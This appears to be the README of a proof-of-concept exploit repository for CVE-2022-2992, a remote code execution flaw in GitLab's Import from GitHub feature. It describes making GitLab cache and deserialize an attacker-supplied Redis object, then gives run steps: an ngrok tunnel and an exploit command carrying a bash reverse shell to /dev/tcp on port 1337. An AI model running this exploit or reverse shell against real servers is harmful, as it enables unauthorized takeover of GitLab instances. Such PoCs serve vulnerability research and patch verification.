redwaysecurity/cvesA collection of proof-of-concept exploit scripts written by the team at Redway Security for various CVEs.
Description: This allows an authenticated user to achieve remote code execution via the Import from GitHub API endpoint.
Versions Affected: all versions from 11.10 prior to 15.1.6, 15.2 to 15.2.4, 15.3 to 15.3.2
Version Fixed: 15.3.2
Researcher: vakzz
Write-up Link: https://blog.redwaysecurity.com/2023/04/desenvolvendo-o-exploit-para-o-cve-2022.html
NIST CVE Link: https://nvd.nist.gov/vuln/detail/CVE-2022-2992
An authenticated user can import a repository from Github into Gitlab. One can try to import from an attacker's controller server which replies with a Redis' serialization protocol object in the nested default_branch making the Gitlab to cache this object on redis and the redis to deserialize it and trigger execute the payload.
One will need a personal access token
$ bundle install # install dependencies
$ ngrok http 127.0.0.1:4567 # start ngrok tunnel
$ export NGROK_URL=https://68b9-83-173-213-121.eu.ngrok.io # use the url from ngrok
$ ruby exploit.rb http://target.gitlab.com w4dg6wVj7j7xlJgpGLEYdwFe 'bash -c "sh -i >& /dev/tcp/172.23.0.1/1337 0>&1"' # that is a example, use your own payload
